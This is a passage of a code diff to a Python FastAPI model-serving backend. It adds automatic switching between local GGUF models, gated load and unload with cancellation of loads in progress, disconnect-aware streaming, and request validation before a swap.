is unused, but the rule requires it regardless). + from utils.models.model_config import is_vision_model + try: + return bool(is_vision_model(load_path, hf_token = os.environ.get("HF_TOKEN"))) + except Exception as exc: + # Detection failure: don't block the swap, let the load decide. + logger.debug("auto-switch: vision probe failed for %s: %s", load_path, exc) + return True + + +def _messages_have_image(messages) -> bool: + return any( + isinstance(m.content, list) and any(isinstance(p, ImageContentPart) for p in m.content) + for m in messages + ) + + +def _request_has_image(payload) -> bool: + if getattr(payload, "image_base64", None): + return True + return _messages_have_image(payload.messages) + + +def _anthropic_request_has_image(payload) -> bool: + # Mirror anthropic_messages_to_openai: an Anthropic image block carries + # ``type == "image"`` (typed AnthropicImageBlock or a raw dict). + for msg in getattr(payload, "messages", None) or []: + content = getattr(msg, "content", None) + if not isinstance(content, list): + continue + for block in content: + bt = block.get("type") if isinstance(block, dict) else getattr(block, "type", None) + if bt == "image": + return True + return False + + +def disable_openai_auto_switch_for_request(scope) -> None: + """Opt a request out of OpenAI auto-switch. The public preview route uses this: + it always serves its pinned checkpoint, so a caller-supplied model must never + swap the loaded model.""" + if isinstance(scope, dict): + scope[_DISABLE_OPENAI_AUTO_SWITCH_SCOPE_KEY] = True + + +def _automatic_model_load_may_run() -> bool: + """True when a request can trigger an automatic load: either resolver-based + auto-switch is on, or a standalone idle TTL can reload an idle-freed model. The + validate-before-switch guards key off this so an invalid request never loads.""" + from utils.openai_auto_switch_settings import ( + get_openai_auto_switch_enabled, + get_auto_unload_idle_seconds, + ) + return get_openai_auto_switch_enabled() or get_auto_unload_idle_seconds() > 0 + + +def _no_model_loaded_detail(base: str) -> str: + """Append a pointer to the opt-in auto-switch toggle to a "no model loaded" + error, but only when it's off. Auto-switch (default off) cold-loads a + requested downloaded GGUF, so an off toggle is the usual reason a request + naming a listed model still 400/503s; surface the fix. With it on the name + simply didn't resolve to a local GGUF, so the hint would mislead and is omitted.""" + from utils.openai_auto_switch_settings import get_openai_auto_switch_enabled + + if get_openai_auto_switch_enabled(): + return base + return base + ( + " Or enable Model auto-switch (Settings > API) to load a requested model automatically." + ) + + +async def _maybe_auto_switch_model( + requested_model: Optional[str], + fastapi_request: Request, + current_subject: str, + *, + require_vision: bool = False, +) -> None: + """Load a downloaded local GGUF named by an OpenAI request when auto-switch is on. + + No-op unless enabled and ``requested_model`` resolves to a downloaded local + model different from the loaded one. Unknown names fall through (drop-in + compat) and no remote download is triggered. ``require_vision`` rejects a swap + to a text-only target before it runs, so an image request can't evict the + resident vision model only to 400 afterwards. + """ + from utils.openai_auto_switch_settings import ( + get_openai_auto_switch_enabled, + get_auto_unload_idle_seconds, + get_model_override, + ) + from core.inference.local_model_resolver import resolve_local_gguf + from core.inference.llama_keepwarm import ( + get_last_unloaded_model, + other_inference_request_count, + inference_lifecycle_gate, + ) + + # Treat a non-string model (e.g. {"model": 123} on a raw-body endpoint) as + # absent so it falls through instead of raising in the membership checks below. + if not isinstance(requested_model, str) or not requested_model: + return + # The public preview route opts out so a caller cannot switch away from the + # pinned preview checkpoint it just loaded. + scope = getattr(fastapi_request, "scope", None) + if isinstance(scope, dict) and scope.get(_DISABLE_OPENAI_AUTO_SWITCH_SCOPE_KEY): + return + auto_switch_on = get_openai_auto_switch_enabled() + # The reload-stash path also runs when idle-unload is active on its own (a + # standalone UNSLOTH_MODEL_IDLE_TTL with auto-switch off), so a model the idle + # loop freed is restored on the next request. The resolver-based switch still + # requires the auto-switch toggle. + if not auto_switch_on and get_auto_unload_idle_seconds() <= 0: + return + + # Register by the raw requested model before resolving (which can be slow): + # the middleware already counts a concurrent same-model request as in-flight, + # so the busy guard must know it shares this target even while it resolves. + request_key = _request_waiter_key(requested_model) + _note_request_waiter(request_key, 1) + try: + # Off the loop: a cold-cache rebuild walks several model dirs + HF caches. + # With auto-switch off (or an omitted-model reload-only request), skip the + # resolve so only the reload-stash path runs and no name is ever matched. + reload_only = requested_model == _RELOAD_ONLY_MODEL + resolved = ( + await asyncio.to_thread(resolve_local_gguf, requested_model) + if auto_switch_on and not reload_only + else None + ) + if resolved is None: + # Idle-unload may have freed the model; reload exactly what it freed + # (path + quant + advertised id) so an alias/unknown name stays servable + # and keeps the override keyed by the advertised id, not the load path. + last = get_last_unloaded_model() + # A non-GGUF (Unsloth/Transformers) model loaded after the idle-unload + # leaves the GGUF slot empty but is the live model, so don't resurrect + # the stale GGUF over it (that load would tear the active model down). + if ( + not last + or get_llama_cpp_backend().is_loaded + or getattr(get_inference_backend(), "active_model_name", None) + ): + return + if len(last) == 3: + target_id, variant, override_id = last + else: # pre-3-tuple stash: fall back to the path as the override key + target_id, variant = last + override_id = target_id + else: + # load_path is a concrete local path (never the bare repo id), so /load + # takes the local branch and cannot trigger a download. override_id is the + # advertised repo id, the launch-override key and the public model id. + target_id, variant, override_id = resolved + backend = get_llama_cpp_backend() + # A bare model id (no :VARIANT) is satisfied by any loaded quant of that + # repo, so it never reloads a different local quant that already serves it. + bare = ":" not in requested_model + + def _already_serving() -> bool: + # Match against both the concrete load path and the advertised repo id, + # so a model loaded manually by repo id (identifier = repo id) and one + # loaded by auto-switch (identifier = path, advertised = repo id) both + # count as already serving rather than triggering a needless reswap. + if not backend.is_loaded or not backend.model_identifier: + return False + loaded_keys = {backend.model_identifier.lower()} + advertised = getattr(backend, "_openai_advertised_id", None) + if advertised: + loaded_keys.add(advertised.lower()) + if loaded_keys.isdisjoint({target_id.lower(), override_id.lower()}): + return False + if bare: + return True + if variant: + loaded_variant = (getattr(backend, "hf_variant", None) or "").lower() + return loaded_variant == variant.lower() + return True + + def _record_serving_alias() -> None: + # When an advertised alias already resolves to the loaded model (e.g. a + # model loaded by local path, requested by its repo/LM Studio id), record + # the alias as the public id so /v1/models and responses report it (and + # mark it loaded) instead of the path-derived basename. Resolver branch + # only: the reload-stash override_id can be the bare path, not a repo id. + # Lock-free is safe here: an in-flight request blocks any concurrent swap + # (single-slot busy guard), so the loaded model can't change under this. + if resolved is None or not override_id: + return + b = get_llama_cpp_backend() + if getattr(b, "_openai_advertised_id", None) != override_id: + b._openai_advertised_id = override_id + + if _already_serving(): + _record_serving_alias() + return + # An image/audio request naming a different text-only GGUF would load it + # here and only 400 below, evicting the working model. Reject before the + # swap. Only the resolver branch (an explicit new target); the reload-stash + # path just restores the model the request was already using. Both vision and + # audio input come from a companion mmproj (a filesystem probe) -- run it off + # the loop, like the resolver above. + if ( + require_vision + and resolved is not None + and not await asyncio.to_thread(_target_is_vision, target_id) + ): + raise HTTPException( + status_code = 400, + detail = openai_error_body( + "The requested model does not support the image or audio input in this request.", + status = 400, + code = "invalid_value", + param = "model", + ), + ) + key = _switch_key(override_id, variant) + _note_switch_waiter(key, 1) + try: + async with _auto_switch_lock(): + # The asyncio lock is per loop; add a process-wide gate so a swap on + # another loop in this process can't race the single slot. + await _acquire_swap_gate() + try: + # Hold the keep-warm gate across the swap so no new inference can + # start on the model while it is being torn down and replaced. + async with inference_lifecycle_gate(): + if _already_serving(): + _record_serving_alias() + return + # Single slot: refuse a cross-model swap while another inference + # request is active rather than killing its response. Requests + # heading to this same target (by resolved id or raw name) are + # excluded, so concurrent requests for one model load once. A + # pending request is still in the middleware, not generating, so + # it is not counted here. + same_others = max( + _same_target_waiters(key) - 1, _same_request_waiters(request_key) - 1, 0 + ) + others = other_inference_request_count( + current_request_counted = True, include_pending = False + ) + # Not gated on the GGUF being loaded: _load_model_impl also + # tears down an active Unsloth backend before loading a GGUF, + # so refuse whenever any other inference request is in flight. + if others > same_others: + raise HTTPException( + status_code = 409, + detail = openai_error_body( + "Cannot switch models while another inference request is in progress.", + status = 409, + code = "model_switch_busy", + param = "model", + ), + ) + # Apply this model's saved launch flags so the swap honors the config. + override = get_model_override(override_id) + load_kwargs = {"model_path": target_id, "gguf_variant": variant} + if override.get("llama_extra_args") is not None: + load_kwargs["llama_extra_args"] = override["llama_extra_args"] + if override.get("max_seq_length") is not None: + load_kwargs["max_seq_length"] = override["max_seq_length"] + # Reuse the load impl so its dedup, tensor fallback, and threading + # apply. Call the impl directly: we already hold the lifecycle gate + # the /load route would otherwise take, so the route would deadlock. + await _load_model_impl( + LoadRequest(**load_kwargs), + fastapi_request, + current_subject, + ) + # Advertise the repo id (not the concrete load path) as the loaded + # model's public id and override key for /v1/models and idle stash. + get_llama_cpp_backend()._openai_advertised_id = override_id + finally: + _auto_switch_process_lock.release() + finally: + _note_switch_waiter(key, -1) + finally: + _note_request_waiter(request_key, -1) + + +async def _auto_switch_from_request_body(request: Request, current_subject: str): + """Run auto-switch from a raw-body endpoint's ``model`` without changing its + pre-feature status codes: a malformed/non-dict body yields no model (so an + unloaded backend still 503s, not 500), and the caller re-reads to surface the + original parse error after the loaded-state check. Returns the parsed body, or + None if it could not be parsed.""" + try: + body = await request.json() + except (json.JSONDecodeError, ValueError): + return None + if isinstance(body, dict): + # A raw-body client may omit ``model`` and rely on the loaded backend. Pass + # a reload-only sentinel so the idle-stash reload still runs (an idle-freed + # model is restored) without the resolver ever matching a real name. + model = body.get("model") or _RELOAD_ONLY_MODEL + else: + model = None + await _maybe_auto_switch_model(model, request, current_subject) + return body + + def _effective_load_in_4bit(config: ModelConfig, requested: bool) -> bool: """Effective quantization the loader will use: a LoRA adapter can flip 4-bit to 16-bit via adapter_config.json, so the guard sizes this, not the raw request.""" @@ -2103,10 +3628,14 @@ def _remote_gguf_companion_bytes( info = model_info(repo, token = hf_token, files_metadata = True) total = 0 for sibling in info.siblings or []: - base = Path(sibling.rfilename or "").name.lower() + name = sibling.rfilename or "" + base = Path(name).name.lower() if not base.endswith(".gguf"): continue - if base.startswith("mtp-") or (include_mmproj and "mmproj" in base): + # Root-level mtp- only: -hf auto-fetches the repo-root drafter, not + # the MTP/ subdir copies (which now share the mtp- prefix too). + is_root_mtp = "/" not in name and base.startswith("mtp-") + if is_root_mtp or (include_mmproj and "mmproj" in base): total += getattr(sibling, "size", 0) or 0 return total except Exception as e: @@ -2307,6 +3836,15 @@ async def load_model( GGUF models load via llama-server (llama.cpp) instead of Unsloth. """ + # Hold the lifecycle gate across the load so idle auto-unload can't unload the + # model mid-load. Auto-switch calls _load_model_impl directly since it already + # holds this gate. + from core.inference.llama_keepwarm import inference_lifecycle_gate + async with inference_lifecycle_gate(): + return await _load_model_impl(request, fastapi_request, current_subject) + + +async def _load_model_impl(request: LoadRequest, fastapi_request: Request, current_subject: str): from core.inference.llama_cpp import LlamaServerNotFoundError native_grant_backed = False @@ -2482,6 +4020,15 @@ async def load_model( status_code = 400, detail = "gpu_ids is not supported for GGUF models yet.", ) + if not config.is_gguf and _mlx_distributed_launch_detected(): + raise HTTPException( + status_code = 400, + detail = ( + "Studio does not support distributed MLX inference under " + "mlx.launch. Use `mlx.launch ... unsloth chat` or run Studio " + "without the distributed launcher." + ), + ) # Effective quantization (LoRA can flip 4-bit -> 16-bit); guard + load reuse it. effective_load_in_4bit = _effective_load_in_4bit(config, request.load_in_4bit) @@ -2510,12 +4057,15 @@ async def load_model( llama_backend = get_llama_cpp_backend() unsloth_backend = get_inference_backend() - # Unload any active Unsloth model to free VRAM + # Unload any active Unsloth model to free VRAM (off the event loop: + # unload takes _gen_lock and can wait on an in-flight stream). if unsloth_backend.active_model_name: logger.info( f"Unloading Unsloth model '{unsloth_backend.active_model_name}' before loading GGUF" ) - unsloth_backend.unload_model(unsloth_backend.active_model_name) + await asyncio.to_thread( + unsloth_backend.unload_model, unsloth_backend.active_model_name + ) # Inherit llama_extra_args from the previous load when the request # omits the field (the chat-settings Apply path doesn't round-trip @@ -2646,6 +4196,48 @@ async def load_model( hf_variant = config.gguf_variant, ) + # Tensor intent for this load: the request itself, or a preserved + # multi-GPU layer fallback carried across a reload of the SAME model that + # doesn't drop it (e.g. a ctx-only change), so a fitting model doesn't + # silently collapse to one GPU. Only an explicit non-tensor --split-mode + # override counts as the drop -- the tensor field echo / unrelated extras keep + # the preserved placement; the same-model guard stops a switch-without-unload + # inheriting the prior model's intent. + _explicit_tensor_drop = _is_explicit_tensor_drop(request) + # Compare the resolved config.identifier (what load_model stores), not the + # raw request id: from_identifier normalizes shorthands (adds unsloth/, fixes + # case), so a reload with the shorthand would otherwise miss the match and + # drop the carry-forward. #6659 + _same_model_loaded = ( + llama_backend.is_loaded + and (llama_backend.model_identifier or "").lower() + == (config.identifier or "").lower() + ) + # model_identifier is variant-agnostic for HF repos and dir-level for a + # local multi-variant directory, so also require the loaded quant to match + # (path else variant, mirroring _already_in_target_state) -- otherwise a + # different variant inherits the prior one's preserved intent. #6659 + if _same_model_loaded: + if config.gguf_file and llama_backend.gguf_path: + try: + _same_model_loaded = ( + Path(llama_backend.gguf_path).resolve() + == Path(config.gguf_file).resolve() + ) + except OSError: + _same_model_loaded = False + else: + _same_model_loaded = (llama_backend.hf_variant or "").lower() == ( + config.gguf_variant or "" + ).lower() + _tensor_intent_overall = _effective_tensor_parallel( + extra_llama_args, request.tensor_parallel + ) or _carry_preserved_tensor_intent( + preserved = llama_backend.layer_preserves_tensor_intent, + same_model = _same_model_loaded, + explicit_drop = _explicit_tensor_drop, + ) + # Run a single load attempt with the given tensor flag + extras. async def _attempt_gguf_load( tensor_parallel: bool, attempt_extra_args: Optional[list[str]] @@ -2659,6 +4251,12 @@ async def load_model( **_source_load_kwargs, **attempt_kwargs, tensor_parallel = tensor_parallel, + # True on the layer fallback retry (tensor wanted overall but not on + # this attempt): keep multi-GPU. Mirrors the fallback's key. + preserve_multi_gpu_on_layer = bool( + _tensor_intent_overall + and not _effective_tensor_parallel(attempt_extra_args, tensor_parallel) + ), ) # Tensor parallelism is arch-gated in llama.cpp and crashes some loads @@ -2683,6 +4281,13 @@ async def load_model( logger.info( f"Loaded GGUF model via llama-server: {model_log_label if native_grant_backed else config.identifier}" ) + # Clear any idle-unload reload stash now, not only on the next poll. + from core.inference.llama_keepwarm import note_model_loaded + + note_model_loaded() + # A plain load advertises its own identifier; auto-switch overwrites + # this with the repo id right after _load_model_impl returns. + llama_backend._openai_advertised_id = None # Audio detection moved into load_model under _serial_load_lock (#5642). _gguf_audio = llama_backend._audio_type @@ -2760,6 +4365,7 @@ async def load_model( trust_remote_code = request.trust_remote_code, approved_remote_code_fingerprint = request.approved_remote_code_fingerprint, gpu_ids = effective_gpu_ids, + subject = current_subject, ) if not success: @@ -2783,6 +4389,13 @@ async def load_model( logger.info( f"Loaded model: {model_log_label if native_grant_backed else config.identifier}" ) + # Clear any idle-unload reload stash: a manual load supersedes an idle-freed + # GGUF, so the next /v1 request must not resurrect it. Mirror the GGUF branch + # above; without this a non-GGUF load leaves a stale stash until the idle + # poll clears it (and never, while idle-unload is off). + from core.inference.llama_keepwarm import note_model_loaded + + note_model_loaded() # Load inference configuration parameters inference_config = load_inference_config(config.identifier) @@ -3113,23 +4726,79 @@ async def unload_model(request: UnloadRequest, current_subject: str = Depends(ge Unload a model from memory. Routes to the correct backend (llama-server for GGUF, Unsloth otherwise). """ + # A deliberate unload means "stay unloaded": drop any idle reload stash so the + # next /v1 request can't resurrect this model. The idle loop unloads via the + # backend directly (not this route), so clearing here never fights keep-warm. + from core.inference.llama_keepwarm import inference_lifecycle_gate, note_model_unloaded try: - # Check if the GGUF backend has this model loaded or is loading it. - llama_backend = get_llama_cpp_backend() - if llama_backend.is_active and ( - llama_backend.model_identifier == request.model_path - or is_registered_native_path_label(llama_backend.model_identifier, request.model_path) - or not llama_backend.is_loaded + # "Stop loading" (frontend cancelLoading -> /unload) must abort a still-loading + # model promptly. /load holds the lifecycle gate for the whole (multi-minute) load, + # so gating first would make the cancel wait it out. cancel_load only tears the + # loading subprocess down (no unload command), so it is safe off-gate. + backend = get_inference_backend() + loading = getattr(backend, "get_loading_model", lambda: None)() + if ( + loading is not None + and hasattr(backend, "cancel_load") + and (request.model_path == loading or request.model_path.lower() == loading.lower()) ): - llama_backend.unload_model() - logger.info(f"Unloaded GGUF model: {request.model_path}") + if await asyncio.to_thread(backend.cancel_load, request.model_path): + note_model_unloaded() + logger.info(f"Cancelled in-flight load: {request.model_path}") + return UnloadResponse(status = "unloaded", model = request.model_path) + + # Same "stop loading" fast path for a still-loading GGUF (llama-server spawned, + # health check not yet passed). A gated unload would wait out the multi-minute + # load; unload_model() sets the cancel_event load_model polls off its own lock and + # kills the child, sending no worker command, so it is safe off-gate like + # cancel_load. The gated GGUF branch below handles the already-loaded case. Gate on + # the loading model (identifier or native label): the single llama-server loads one + # GGUF at a time, so an unload for a different model must not cancel this load. + llama_backend = get_llama_cpp_backend() + if ( + llama_backend.is_active + and not llama_backend.is_loaded + and ( + llama_backend.model_identifier == request.model_path + or is_registered_native_path_label( + llama_backend.model_identifier, request.model_path + ) + ) + ): + await asyncio.to_thread(llama_backend.unload_model) + note_model_unloaded() + logger.info(f"Cancelled in-flight GGUF load: {request.model_path}") return UnloadResponse(status = "unloaded", model = request.model_path) - # Otherwise, unload from Unsloth backend - backend = get_inference_backend() - backend.unload_model(request.model_path) - logger.info(f"Unloaded model: {request.model_path}") - return UnloadResponse(status = "unloaded", model = request.model_path) + # Serialize with /load under the same lifecycle gate: the Unsloth unload now runs + # off the event loop (asyncio.to_thread), so without this a concurrent /load could + # swap in a fresh subprocess mid-unload and the unload command would land on the + # new worker. The gate makes load and unload exclusive. + async with inference_lifecycle_gate(): + # Check if the GGUF backend has this model loaded or is loading it. + llama_backend = get_llama_cpp_backend() + if llama_backend.is_active and ( + llama_backend.model_identifier == request.model_path + or is_registered_native_path_label( + llama_backend.model_identifier, request.model_path + ) + or not llama_backend.is_loaded + ): + # A manual unload is a deliberate user action: tear down now even if a + # request is mid-stream (only the automatic idle loop defers to it). + llama_backend.unload_model() + note_model_unloaded() + logger.info(f"Unloaded GGUF model: {request.model_path}") + return UnloadResponse(status = "unloaded", model = request.model_path) + + # Unload from Unsloth backend off the event loop: unload takes _gen_lock, which + # a slow SSE stream paused between tokens still holds, so a sync call would block + # the loop that drives the stream's next token and the lock release. + backend = get_inference_backend() + await asyncio.to_thread(backend.unload_model, request.model_path) + note_model_unloaded() + logger.info(f"Unloaded model: {request.model_path}") + return UnloadResponse(status = "unloaded", model = request.model_path) except Exception as e: logger.error(f"Error unloading model: {e}", exc_info = True) @@ -3220,7 +4889,9 @@ async def get_api_monitor_entry(entry_id: str, current_subject: str = Depends(ge @router.post("/generate/stream") async def generate_stream( - request: GenerateRequest, current_subject: str = Depends(get_current_subject) + request: GenerateRequest, + fastapi_request: Request, + current_subject: str = Depends(get_current_subject), ): """ Generate a chat response with Server-Sent Events (SSE) streaming. @@ -3270,6 +4941,13 @@ async def generate_stream( async def stream(): gen = None completed = False + # Cancel the generation when the client disconnects. The generator only + # awaits asyncio.to_thread(next, gen, ...), so without a concurrent + # watcher a disconnect during a long prefill/generation would go + # unnoticed until the next send and the backend would keep generating. + disconnect_watcher = asyncio.create_task( + _await_disconnect_then_cancel(fastapi_request, cancel_event) + ) try: gen = backend.generate_chat_response( messages = request.messages, @@ -3278,18 +4956,27 @@ async def generate_stream( temperature = request.temperature, top_p = request.top_p, top_k = request.top_k, + min_p = request.min_p, max_new_tokens = request.max_new_tokens, repetition_penalty = request.repetition_penalty, + presence_penalty = request.presence_penalty, cancel_event = cancel_event, ) _DONE = object() while True: + if cancel_event.is_set(): + # Watcher set cancel_event between chunks. Reset here: closing + # the generator does not signal a subprocess backend, so it would + # keep decoding. The finally's reset is guarded, so no double-run. + backend.reset_generation_state() + break chunk = await asyncio.to_thread(next, gen, _DONE) if chunk is _DONE: + completed = True break yield f"data: {json.dumps({'content': chunk})}\n\n" - completed = True - yield "data: [DONE]\n\n" + if completed: + yield "data: [DONE]\n\n" except asyncio.CancelledError: cancel_event.set() @@ -3301,6 +4988,7 @@ async def generate_stream( logger.error(f"Error during generation: {e}", exc_info = True) yield f"data: {json.dumps({'error': _friendly_error(e)})}\n\n" finally: + await _stop_local_disconnect_cancel_watcher(disconnect_watcher) if not completed and not cancel_event.is_set(): cancel_event.set() backend.reset_generation_state() @@ -3516,10 +5204,25 @@ async def generate_audio( raise HTTPException(status_code = 400, detail = "No user message found.") text = last_user_msg["content"] + # Restore an idle-evicted GGUF before selecting a backend: this path is + # keep-warm-tracked but had no reload hook, so a standalone idle TTL could + # unload an audio GGUF the next request then failed to restore. Validation + # above ran first, so an invalid request never triggers a reload. + # + # Reload-only on purpose: a local GGUF's audio-input capability is not a cheap + # pre-load probe (the companion mmproj signal can't tell an audio projector + # from a vision one, and codec-based TTS ships no projector at all), so passing + # the client model through the resolver could load a text- or vision-only target + # and evict the working audio model before the audio backend check fails. Only + # the idle-stash restore runs here; switching TTS models is an explicit /load. + await _maybe_auto_switch_model(_RELOAD_ONLY_MODEL, request, current_subject) + # Pick backend — both return (wav_bytes, sample_rate) llama_backend = get_llama_cpp_backend() if llama_backend.is_loaded and getattr(llama_backend, "_is_audio", False): - model_name = llama_backend.model_identifier + # Advertised repo id after an auto-switch load, else a clean public id, + # never the absolute .gguf path. + model_name = _llama_public_model_id(llama_backend) gen = lambda: llama_backend.generate_audio_response( text = text, audio_type = llama_backend._audio_type, @@ -3537,7 +5240,7 @@ async def generate_audio( model_info = backend.models.get(backend.active_model_name, {}) if not model_info.get("is_audio"): raise HTTPException(status_code = 400, detail = "Active model is not an audio model.") - model_name = backend.active_model_name + model_name = public_model_id(backend.active_model_name) gen = lambda: backend.generate_audio_response( text = text, temperature = payload.temperature, @@ -4302,6 +6005,14 @@ async def _proxy_to_external_provider( except Exception as exc: logger.error("external_provider.stream_error", error = str(exc)) api_monitor.fail(monitor_id, _friendly_error(exc)) + # Surface the failure: a bare EOF (e.g. after a read timeout) is treated + # by the chat client as success, saving a partial answer with no error. + yield ( + "data: " + + json.dumps({"error": {"message": _friendly_error(exc), "type": "server_error"}}) + + "\n\n" + ) + yield "data: [DONE]\n\n" finally: try: await gen.aclose() @@ -4537,6 +6248,12 @@ async def openai_chat_completions( # ── External provider routing ──────────────────────────────── # encrypted_api_key is optional -- local providers (llama.cpp / vLLM / Ollama) may run without auth. if payload.provider_id or payload.provider_type: + # External provider: this request won't touch the local GGUF, so drop it + # from the keep-warm count or its in-flight stream would falsely block a + # concurrent local auto-switch with model_switch_busy. + from core.inference.llama_keepwarm import untrack_current_request + + untrack_current_request(request.scope) # Bypass Permissions suppresses the confirm gate, so do not reject a # request that sets both flags (effective confirm is then False). if ( @@ -4590,6 +6307,95 @@ async def openai_chat_completions( ), ) + # Reject a system-only chat before any automatic load so an invalid request + # never swaps or reloads the resident model (as /responses and /messages + # already validate before switching). Gate on every automatic-load trigger, + # not just auto-switch, since a standalone idle TTL can also reload here. + # Parse once and reuse below. + _pre_parsed = None + _needs_vision = False + if _automatic_model_load_may_run(): + _pre_parsed = _extract_content_parts(payload.messages) + if not _pre_parsed[1]: + raise HTTPException( + status_code = 400, detail = "At least one non-system message is required." + ) + # Reject confirm-without-stream local tool requests before the switch: the + # local tool path requires stream=true for the confirm gate, so this shape + # is invalid and must not evict the resident model first. Mirror that path's + # enablement exactly (_effective_enable_tools honors a CLI --enable-tools + # policy hard-override; mcp_enabled opens the tool loop on its own but still + # defers to a CLI --disable-tools policy), or an mcp_enabled/policy-forced + # request would slip past this guard and only 400 after the swap. + from state.tool_policy import get_tool_policy as _get_confirm_tool_policy + + _confirm_cli_policy = _get_confirm_tool_policy() + if ( + payload.confirm_tool_calls + and not payload.bypass_permissions + and not payload.stream + and ( + _effective_enable_tools(payload) + or (bool(payload.mcp_enabled) and _confirm_cli_policy is not False) + or bool(payload.enabled_tools) + or bool(payload.tools) + or bool(payload.openai_code_exec_container_id) + or bool(payload.anthropic_code_exec_container_id) + ) + ): + raise HTTPException( + status_code = 400, + detail = openai_error_body( + "confirm_tool_calls requires stream=true for local tool execution.", + status = 400, + code = "invalid_request_error", + param = "confirm_tool_calls", + ), + ) + # Reject a malformed tool_choice forcing object before the switch: a + # {"type": "function", "function": {}} with no name would otherwise be + # forwarded to llama-server and rejected only after the model swapped. + _tc = payload.tool_choice + if isinstance(_tc, dict) and _tc.get("type") == "function": + _tc_fn = _tc.get("function") + _tc_name = _tc_fn.get("name") if isinstance(_tc_fn, dict) else None + if not isinstance(_tc_name, str) or not _tc_name.strip(): + raise HTTPException( + status_code = 400, + detail = openai_error_body( + "Invalid 'tool_choice': the forced function must have a 'name'.", + status = 400, + code = "invalid_value", + param = "tool_choice", + ), + ) + # Reject an oversized audio upload before the switch: the size cap is a + # cheap, target-independent length check, so a too-large payload must not + # load a GGUF only to 413 afterward (the decode itself stays post-switch to + # avoid decoding a valid upload twice). + if payload.audio_base64 and len(payload.audio_base64) > _MAX_AUDIO_B64_CHARS: + raise HTTPException(status_code = 413, detail = "Audio file is too large (max ~25 MB).") + # Reject streaming n>1 before the switch: only the non-streaming GGUF path + # returns multiple choices, so stream=true + n>1 is invalid on every local + # serving path (the external path already rejected it before its early + # return). Both fields are known here, so a bad shape must not load model B + # only to 400. The non-streaming n>1 cases stay post-switch, where the + # serving path decides whether the shape is supported. + if payload.stream and _wants_multiple_choices(payload): + _raise_unsupported_n("streaming chat completions") + # Audio input rides the same companion-mmproj projector as vision, so a + # text-only target can't serve it either; guard both before the switch. + _needs_vision = ( + bool(_pre_parsed[2]) or _request_has_image(payload) or bool(payload.audio_base64) + ) + + await _maybe_auto_switch_model( + _switch_model_for_payload(payload), + request, + current_subject, + require_vision = _needs_vision, + ) + llama_backend = get_llama_cpp_backend() using_gguf = llama_backend.is_loaded @@ -4645,7 +6451,9 @@ async def openai_chat_completions( return response if using_gguf: - model_name = llama_backend.model_identifier or payload.model + # Advertised repo id after an auto-switch load, else a clean public id, + # never the absolute .gguf path. + model_name = _llama_public_model_id(llama_backend, payload.model) if getattr(llama_backend, "_is_audio", False): if _wants_multiple_choices(payload): _raise_unsupported_n("GGUF audio chat completions") @@ -4658,9 +6466,11 @@ async def openai_chat_completions( if not backend.active_model_name: raise HTTPException( status_code = 400, - detail = "No model loaded. Call POST /inference/load first.", + detail = _no_model_loaded_detail("No model loaded. Call POST /inference/load first."), ) - model_name = backend.active_model_name or payload.model + # Clean public id so the response never echoes a local path; the audio + # branch below receives this sanitized label too. + model_name = public_model_id(backend.active_model_name) or payload.model if _wants_multiple_choices(payload): _raise_unsupported_n("non-GGUF chat completions") @@ -4724,6 +6534,9 @@ async def openai_chat_completions( _tracker.__enter__() async def audio_input_stream(): + disconnect_watcher = asyncio.create_task( + _await_disconnect_then_cancel(request, cancel_event) + ) try: yield _chat_role_chunk(completion_id, created, model_name) @@ -4759,9 +6572,19 @@ async def openai_chat_completions( api_monitor.fail(monitor_id, _friendly_error(e)) yield f"data: {json.dumps({'error': {'message': _friendly_error(e), 'type': 'server_error'}})}\n\n" finally: + await _stop_local_disconnect_cancel_watcher(disconnect_watcher) _tracker.__exit__(None, None, None) - return _sse_streaming_response(audio_input_stream()) + return _SameTaskStreamingResponse( + audio_input_stream(), + unstarted_cleanup = _tracked_cancel_unstarted_cleanup(_tracker), + media_type = "text/event-stream", + headers = { + "Cache-Control": "no-cache", + "Connection": "close", + "X-Accel-Buffering": "no", + }, + ) else: try: full_text = "".join(audio_input_generate()) @@ -4820,11 +6643,11 @@ async def openai_chat_completions( # unaware of `role="tool"` messages and assistant messages that only # carry `tool_calls` (content=None) — both of which are valid in # multi-turn client-side tool loops. - effective_max_tokens = _effective_max_tokens(payload) + effective_max_tokens = _effective_openai_max_tokens(payload) normalized_stop = _normalize_stop_sequences(payload.stop) - _has_tool_messages = any(m.role == "tool" or m.tool_calls for m in payload.messages) + _has_tool_messages = _has_openai_tool_history(payload.messages) # Route guided-decoding requests through the verbatim passthrough so # ``response_format`` (JSON schema) reaches llama-server and the model's # GBNF-constrained output comes back unmodified. The non-passthrough GGUF @@ -4833,12 +6656,41 @@ async def openai_chat_completions( # free-form sampling. Guided decoding does not require ``supports_tools`` -- # the grammar machinery is independent of tool-call parsing. _has_response_format = _extract_response_format(payload) is not None - _tools_passthrough = llama_backend.supports_tools and ( - (payload.tools and len(payload.tools) > 0) or _has_tool_messages + _has_tool_catalog = bool(payload.tools and len(payload.tools) > 0) + _has_active_tool_catalog = _has_tool_catalog and payload.tool_choice != "none" + _has_client_tool_contract = _has_active_tool_catalog or _has_tool_messages + # The Studio tool loop needs a tool-capable backend, so a request that asks + # for it on a backend that can't run it (DiffusionGemma forces supports_tools + # off) must not steal client tools from the passthrough (#6851). + _studio_tool_loop_requested = ( + _explicit_studio_tool_loop_requested(payload) and llama_backend.supports_tools ) + _client_disabled_tool_calls = payload.tool_choice == "none" and not _studio_tool_loop_requested + _supports_tool_passthrough = getattr( + llama_backend, "supports_tool_passthrough", llama_backend.supports_tools + ) + _tools_passthrough = _supports_tool_passthrough and _has_client_tool_contract if ( using_gguf - and not _effective_enable_tools(payload) + and not _studio_tool_loop_requested + and _has_client_tool_contract + and not _supports_tool_passthrough + ): + raise _reject( + 400, + openai_error_body( + ( + "Client-supplied tools or tool-call history require a GGUF chat template " + "with tool-call support; the current model/template does not advertise tools." + ), + status = 400, + code = "unsupported_parameter", + param = "tools" if payload.tools else "messages", + ), + ) + if ( + using_gguf + and not _studio_tool_loop_requested and (_tools_passthrough or _has_response_format) ): if _wants_multiple_choices(payload): @@ -4884,15 +6736,27 @@ async def openai_chat_completions( completion_id, monitor_id = monitor_id, ) - return await _openai_passthrough_non_streaming( - llama_backend, - payload, - model_name, - monitor_id = monitor_id, - ) + _cancel_keys = (payload.cancel_id, payload.session_id, completion_id) + _tracker = _TrackedCancel(cancel_event, *_cancel_keys) + _tracker.__enter__() + try: + return await _openai_passthrough_non_streaming( + llama_backend, + payload, + model_name, + monitor_id = monitor_id, + request = request, + cancel_event = cancel_event, + ) + finally: + _tracker.__exit__(None, None, None) # ── Parse messages (handles multimodal content 